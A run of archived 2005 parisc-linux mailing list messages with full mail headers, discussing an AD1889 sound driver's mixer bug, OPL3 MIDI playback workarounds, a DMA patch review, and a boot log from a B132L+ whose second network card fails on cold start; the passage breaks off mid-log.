	by free.linux.hp.com (Postfix) with ESMTP id 56BDC7D6C2;
	Sun, 26 Jun 2005 04:53:57 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23004-06; Sun, 26 Jun 2005 04:53:57 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 290247D6BF;
	Sun, 26 Jun 2005 04:53:56 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3D7857D6BC
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 04:53:53 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22609-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 04:53:52 -0600 (MDT)
Original-Received: from mail.gmx.net (pop.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 4F3EF7D6BB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 04:53:52 -0600 (MDT)
Original-Received: (qmail invoked by alias); 26 Jun 2005 10:53:50 -0000
Original-Received: from dialin-212-144-177-210.arcor-ip.net (EHLO p100.helgenet.de)
	[212.144.177.210]
	by mail.gmx.net (mp031) with SMTP; 26 Jun 2005 12:53:50 +0200
X-Authenticated: #1045983
User-Agent: KMail/1.8.50
In-Reply-To: <20050626022615.15d0ccbb@Tatooine.r3z0>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: H+zMYvxfeSEkWr6WZHQhaXN1IGRvb4A5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22822

Hello Thibaut.

Congratulations for this big sucess !

I just tried the driver and I think I found a small bug:
- Using xmms (with OSS output driver)
- Headphones connected to the Headphone connector (PhoneOut)
- start playing -> sound starts

Now:
- start on a console "aumix"
- play around with the "Pcm" slider
- when moving this slider from 0-100% it seems to be doubled. 
  You will get the same loadness in the 0-50% range as in the 51-100% range, which means maximum loadness is at 49% and 99%.

Best regards,
Helge

On Sunday 26 June 2005 02:26, Thibaut VARENE wrote:
> Some of you have been wondering whether they'll be able to enjoy quality
> music playback on their AD1889-enabled PA-RISC machines one of these days
> (BCJ-X000 class machines, basically).
> 
> Well, be happy, dance around, that day has come! ;)
> 
> The recent commits to the CVS have brought in a now really decent AD1889
> driver, supporting full duplex playback and capture.
> 
> It works absolutely fine in OSS emulation mode. So far we have a bug with
> the ALSA native mode, which produces unintelligible sound.[1]
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stuart Brady <sdbrady@ntlworld.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AD1889 OPL3 Synthesis
Date: Sun, 26 Jun 2005 16:45:01 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <20050626154500.GA2704@ntlworld.com>
References: <20050626145353.GA2566@ntlworld.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623818 15037 80.91.229.3 (22 Nov 2014 02:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 15:45:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 26 Jun 2005 17:45:17 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6E70F7D6EA;
	Sun, 26 Jun 2005 09:45:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26623-08; Sun, 26 Jun 2005 09:45:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 68B6B7D6EC;
	Sun, 26 Jun 2005 09:45:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 995FA7D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 09:45:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26623-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 09:45:08 -0600 (MDT)
Original-Received: from mta09-winn.ispmail.ntl.com (mta09-winn.ispmail.ntl.com
	[81.103.221.49])
	by free.linux.hp.com (Postfix) with ESMTP id B4EF67D678
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 09:45:07 -0600 (MDT)
Original-Received: from aamta09-winn.ispmail.ntl.com ([81.103.221.35])
	by mta09-winn.ispmail.ntl.com with ESMTP id
	<20050626154506.NLEZ11649.mta09-winn.ispmail.ntl.com@aamta09-winn.ispmail.ntl.com>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 16:45:06 +0100
Original-Received: from janus ([82.9.44.76]) by aamta09-winn.ispmail.ntl.com with ESMTP
	id <20050626154506.PWIL5558.aamta09-winn.ispmail.ntl.com@janus>
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 16:45:06 +0100
Original-Received: from sdb by janus with local (Exim 3.35 #1 (Debian))
	id 1DmZJf-0000i3-00 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 16:45:03 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20050626145353.GA2566@ntlworld.com>
User-Agent: Mutt/1.3.28i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2ajMYng4eSEker6WZHQhaXN1IGRvb8Du
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22823

On Sun, Jun 26, 2005 at 03:53:54PM +0100, Stuart Brady wrote:
> I used playmidi for testing.  There are some example MIDI files:
> /usr/share/doc/playmidi/examples/*.mid.gz.  Unfortunately, ALSA's OPL3
> code has some bugs which affect the quality of the music produced.
> Also, playmidi's instruments need some work.
> 
> I was getting silence when testing before, but it otherwise appeared to
> be working.  There's probably a mixer channel associated with the OPL3
> (or SYN, see below) which must be used.  I have no idea which this is.

I forgot to mention -- there seems to be another bug in ALSA: before you
can play anything, you'll have to run:

    cat /proc/asound/seq/clients

I've no idea why, and I haven't got around to reporting it to the ALSA
developers yet.  If you don't do this, you'll see:

    playmidi: No playback device found.

Also, if you try to play the example MIDI files using playmidi, without
gunzipping them first, playmidi will just segfault.

BTW, playmidi produces better sound if it is passed the "-4" option, but
this reduces the number of notes that can be played simultaneously.

You could also try using pmidi, which doesn't rely on OSS emulation,
although this didn't work for me.

If anyone's looking for a more sensible way to play MIDI files, I would
suggest using TiMidity++, which doesn't use OPL3.

Cheers,
-- 
Stuart Brady
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: ccio-dma more debuging
Date: Sun, 26 Jun 2005 14:27:34 -0600
Lines: 38
Approved: news@gmane.org
Message-ID: <20050626202734.GA3338@colo.lackof.org>
References: <42933E2F0000A9DC@mail-1-bnl.tiscali.it>
	<20050621171823.GB16368@colo.lackof.org>
	<42BD9D2D.4030605@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623818 15042 80.91.229.3 (22 Nov 2014 02:36:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:58 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 20:23:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx045) with SMTP; 26 Jun 2005 22:23:39 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4476D7D6C2;
	Sun, 26 Jun 2005 14:23:30 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28868-02; Sun, 26 Jun 2005 14:23:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F0ED87D6C6;
	Sun, 26 Jun 2005 14:23:28 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2671B7D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:23:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27507-08 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:23:25 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9C0677D6BF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 14:23:25 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A0C8F29803C;
	Sun, 26 Jun 2005 14:27:34 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04043-02; Sun, 26 Jun 2005 14:27:34 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3AD6629802F; Sun, 26 Jun 2005 14:27:34 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42BD9D2D.4030605@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: m2vNYhI6eSEkX76WZHQhaXN1IGRvb8Bd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22824

On Sat, Jun 25, 2005 at 06:06:37PM +0000, Joel Soete wrote:
> >It's easier to review if you submit those seperately.
> >Also because I probably wouldn't apply the white space changes. :^)
> >
> >
> >>-       BUG_ON((pages_needed * IOVP_SIZE) > DMA_CHUNK_SIZE);
> >>+       BUG_ON(pages_needed > BITS_PER_LONG);
> >
> >
> >This BUG_ON exists because I was lazy. Alex Williamson added support
> >for "unlimited" sized requests to arch/ia64/hp/common/sba_iommu.c.
> >We might be able to add that to our iommu-helpers.h file.
> >
> mmm is there a viewcvs for ia64 at some url?

Yes, but I expect it in our CVS 2.6.12 source tree.

> (I tried a diff between parisc and ia64 but to big to let me understand 
> what patch was?)

Right - that won't work. You'll have to dredge up the oldmail
were Alex proposes the patch. That should be part of the
ia64-linux mail in ia64-linux mail archives

> >Just ditch __FUNCTION__ and hard code the string in the panic message.
>
> Is there some pb I missed with __FUNCTION__?

Not really - but embedding it directly in the string just makes
less work for gcc.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] AD1889 Support (yes it's there!)
Date: Sun, 26 Jun 2005 14:46:33 +0200
Organization: PA/Linux
Lines: 58
Approved: news@gmane.org
Message-ID: <20050626144633.56c99909@Tatooine.r3z0>
References: <20050626022615.15d0ccbb@Tatooine.r3z0>
	<200506261029.07942.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623819 15049 80.91.229.3 (22 Nov 2014 02:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <T-Bone@parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 12:46:47 -0000
Original-Received: from postfix3-2.free.fr (EHLO postfix3-2.free.fr) [213.228.0.169]
  by mx0.gmx.net (mx006) with SMTP; 26 Jun 2005 14:46:47 +0200
Original-Received: from mail.zigoo.net (freebz.slashdirt.org [82.228.130.181])
	by postfix3-2.free.fr (Postfix) with ESMTP id 039DEC015;
	Sun, 26 Jun 2005 14:46:47 +0200 (CEST)
Original-Received: by mail.zigoo.net (Postfix, from userid 65534)
	id 0DFDC33F31; Sun, 26 Jun 2005 14:46:45 +0200 (CEST)
Original-Received: from Tatooine.r3z0 (Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (Postfix) with ESMTP id 0E9B033C17;
	Sun, 26 Jun 2005 14:46:34 +0200 (CEST)
Original-Received: from localhost
	([127.0.0.1] helo=Tatooine.r3z0 ident=varenet)
	by Tatooine.r3z0 with esmtp (Exim 3.36 #1 (Debian))
	id 1DmWWv-00028A-00; Sun, 26 Jun 2005 14:46:33 +0200
In-Reply-To: <200506261029.07942.deller@gmx.de>
X-Mailer: Sylpheed-Claws 1.0.4 (GTK+ 1.2.10; powerpc-unknown-linux-gnu)
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on Tatooine.r3z0
X-Spam-Status: No, score=-52.6 required=5.0 tests=BAYES_00,LOCAL_RCVD 
	autolearn=ham version=3.0.3
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4MbMYoAYeSEkdL6WZHQhaXN1IGRvb4AZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22825

On Sun, 26 Jun 2005 10:29:07 +0200
Helge Deller <deller@gmx.de> wrote:

> Hello Thibaut.
> 
> Congratulations for this big sucess !
> 
> I just tried the driver and I think I found a small bug:
> - Using xmms (with OSS output driver)
> - Headphones connected to the Headphone connector (PhoneOut)
> - start playing -> sound starts
> 
> Now:
> - start on a console "aumix"
> - play around with the "Pcm" slider
> - when moving this slider from 0-100% it seems to be doubled. 
>   You will get the same loadness in the 0-50% range as in the 51-100%
>   range, which means maximum loadness is at 49% and 99%.

Good catch, that's indeed another known "feature", all sliders (aside the
Master ones) wrap around at 50%. It's actually quite strange because these
sliders control the AC97 codec which is well documented (it's an AD1819),
and which is out of the scope of this driver (we don't implement our own
mixer). Actually, this is handled directly by the ALSA layer. So maybe the
hardware is not compliant with the specs, or maybe there's some knob
missing, yet, it didn't seem to me like a big deal :)

For the curious people, the difference between the "Master" knobs and the
others, according the the AD1819 codec doc, is that Masters range from 0
to -46.5dB as the value written to register goes from 0x0000h to 0x1F1F
(left is bits 13-8, right is 5-0), and any bigger value doesn't change the
attenuation.

For the other knobs, otoh, the range is +12dB to -34.5dB for left/right,
with the following scheme: 0x0000 is +12dB, 0x0808 is 0dB and 0x1F1F is
-34.5dB. What seems to happen in our case, is that the hardware doesn't
implement the "gain" range, contrary to what the doc says.

Again, this is a well known AC97 codec (AD1819), well documented,
and supported by the ALSA layer, so if you can make sense of what happens,
maybe we could see what's wrong. :)

I'll add that to the wiki.

One last hint (which is on the wiki):

There's no such thing as separate volume control for Phones and Line Out.
Phones is just an amplified wiring of Line Out, and both are
simultaneously controlled by "Master". The internal speaker volume is
controlled by Master Mono.

HTH

Thibaut VARENE
The PA/Linux Team
http://www.pateam.org/



From - Thu Nov 08 21:33:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ullrich Seibel <useibel@bigfoot.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with two NICs on B132L+
Date: Sun, 26 Jun 2005 16:20:37 +0200
Lines: 148
Approved: news@gmane.org
Message-ID: <42BEB9B5.4090108@bigfoot.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623819 15053 80.91.229.3 (22 Nov 2014 02:36:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:36:59 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:22 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jun 2005 14:20:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx012) with SMTP; 26 Jun 2005 16:20:47 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB2547D6D0;
	Sun, 26 Jun 2005 08:20:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26088-06; Sun, 26 Jun 2005 08:20:43 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C10507D6D1;
	Sun, 26 Jun 2005 08:20:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BEF917D6CE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:20:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26088-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:20:39 -0600 (MDT)
Original-Received: from mout1.freenet.de (mout1.freenet.de [194.97.50.132])
	by free.linux.hp.com (Postfix) with ESMTP id E9EB07D6CD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Jun 2005 08:20:38 -0600 (MDT)
Original-Received: from [194.97.55.191] (helo=mx7.freenet.de)
	by mout1.freenet.de with esmtpa (Exim 4.52) id 1DmXzx-0002nW-OE
	for parisc-linux@lists.parisc-linux.org; Sun, 26 Jun 2005 16:20:37 +0200
Original-Received: from hsi-kbw-082-212-032-203.hsi.kabelbw.de ([82.212.32.203]
	helo=tweedy.birdie)
	by mx7.freenet.de with esmtpsa (ID Ullrich.Seibel@freenet.de)
	(TLSv1:AES256-SHA:256) (Exim 4.52 #6) id 1DmXzx-0006Ym-C4
	for parisc-linux@lists.parisc-linux.org; Sun, 26 Jun 2005 16:20:37 +0200
Original-Received: from felix.birdie ([192.168.14.3] ident=seibel)
	by tweedy.birdie with esmtp (Exim 4.50) id 1DmXzv-0000KV-U7
	for parisc-linux@lists.parisc-linux.org; Sun, 26 Jun 2005 16:20:36 +0200
User-Agent: Debian Thunderbird 1.0.2 (X11/20050331)
X-Accept-Language: en-us, en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6NzMYoJ/eSEkfr6WZHQhaXN1IGRvb4B4
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22826

Hallo,

I've some trouble with my NICs on *two* B132L+ (Digital DS21143 Tulip). 
When I switch-on the power only one of them works fine. The other one 
generates an error message:

    "***WARNING***: No MII transceiver found!"

during the boot process. After rebooting both NICs are running properly. 
I've added the related dmesg log entries.

--- schnipp ---

Linux version 2.6.8-2-32 (kyle@caradhras) (gcc version 3.3.5 (Debian 
1:3.3.5-7)) #1 Tue Feb 8 00:15:05 EST 2005
FP[0] enabled: Rev 1 Model 15
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005030 00000481 00000000 02020202 77a47330 100000f0 00000004 
000000ba 0
00000ba
vers  00000018
CPUID vers 15 rev 24 (0x000001f8)
capabilities 0x2
model 9000/778/B132L+
Total Memory: 384 Mb
initrd: 27b70000-27fee000
initrd: reserving 17b70000-17fee000 (mem_max 18000000)
On node 0 totalpages: 98304
  DMA zone: 98304 pages, LIFO batch:16
  Normal zone: 0 pages, LIFO batch:1
  HighMem zone: 0 pages, LIFO batch:1
LED display at f0190001 registered
Built 1 zonelists
Kernel command line:  root=/dev/sda3 HOME=/ console=tty0 sti=8/24 
sti_font=VGA8
x16 TERM=linux palo_kernel=1/vmlinux
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 65536 (order: 6, 262144 bytes)
Inode-cache hash table entries: 32768 (order: 5, 131072 bytes)
Memory: 393216k available
Calibrating delay loop... 87.85 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
checking if image is initramfs...it isn't (ungzip failed); looks like an 
initrd
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Merlin+ 132 Dino PS/2 Port at 0xfff81000 [1] { 10, 0x0, 0x022, 0x00096 }
2. Phantom PseudoBC GSC+ Port at 0xffc00000 [8] { 7, 0x0, 0x504, 0x00000 }
3. Dino PCI Bridge at 0xfff80000 [8/0] { 13, 0x3, 0x680, 0x0000a },  
additional
 addresses: 0xf0800000
4. Merlin+ 132 Dino RS-232 at 0xfff83000 [8/0/63] { 10, 0x0, 0x022, 
0x0008c }
5. Merlin+ 132 Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x03e, 0x00081 
},  addit
ional addresses: 0xffd0c000 0xffc00000
